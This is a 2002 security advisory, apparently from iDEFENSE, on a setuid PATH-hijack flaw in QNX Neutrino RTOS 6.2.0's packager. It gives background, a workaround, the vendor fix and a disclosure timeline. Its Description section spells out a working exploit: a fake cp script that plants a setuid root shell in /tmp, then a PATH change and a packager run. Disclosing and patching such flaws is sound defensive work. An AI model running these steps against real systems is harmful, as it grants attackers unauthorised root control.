Non-Explicit Path Vulnerability in QNX Neutrino RTOS

I. BACKGROUND

QNX Software Systems Ltd.'s Neutrino RTOS (QNX) is a real-time operating system designed for use in embedded systems. "Companies worldwide like Cisco, Delphi, Siemens, Alcatel and Texaco depend on the QNX technology for network routers, medical devices, intelligent transportation systems, safety and security systems, next-generation robotics, and other mission-critical applications. In addition, QNX forms the core for Ford Motor Co.'s Lincoln Aviator IAV, an engineering concept vehicle. The new system supports the development of next-generation in-car communications,
infotainment, and telematics applications." More information is available at http://www.qnx.com/products/ps_neutrino.

II. DESCRIPTION

Since a setuid root application packager within QNX inappropriately executes external applications without using their full paths, local attackers can potentially obtain root privilege. The following is a sample exploit (with comments):

The packager will at one point call the copy binary (cp). The first step is to create a tainted copy command and ensure it is executable. This copy command will copy a shell to /tmp and give the shell setuid privilege:

$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
> EOF
$ chmod 755 cp

The attacker then modifies the PATH environment variable to search the current working directory before anything else:

$ PATH=$PWD:$PATH

The attacker now creates a directory and calls the packager on that created directory:

$ mkdir temp
$ packager temp
...

The packager will ask a number of questions. When the procedure is complete, a root shell will be waiting for the attacker:

$ ls -l /tmp/sh
-rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh

III. ANALYSIS

Local attackers that exploit this vulnerability can potentially gain total control over a targeted system. The fact that exploitation must be done locally makes it more unlikely that damage can be done quickly or in a widespread fashion. Still for organizations that may still be making use of QNX, insider threat is still a real danger.

IV. DETECTION

QNX Neutrino RTOS 6.2.0 is affected. Re-create the above-described exploit scenario to determine susceptibility of an arbitrary RTOS implementation.

V. WORKAROUND

Use the command chmod -s 'which packager' to remove the setuid bit from the packager binary.

VI. VENDOR FIX

QNX Neutrino RTOS 6.2.1 which is slated to be released in January 2003, should fix this vulnerability. According to QNX, concerned customers can contact their sales rep for an advance copy.

VII. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1239 to this issue.

VIII. DISCLOSURE TIMELINE

10/02/2002 Issue disclosed to iDEFENSE
10/31/2002 QNX notified (support@qnx.com)
10/31/2002 iDEFENSE clients notified
11/01/2002 Response received from Marcin Dzieciol (marcind@qnx.com)
11/07/2002 Response received from Rodney Dowdell
11/08/2002 Phone conversation with Barry Faubert, Tech Support
11/08/2002 Public disclosure

IX. CREDIT

Texonet (http://www.texonet.com) discovered this vulnerability.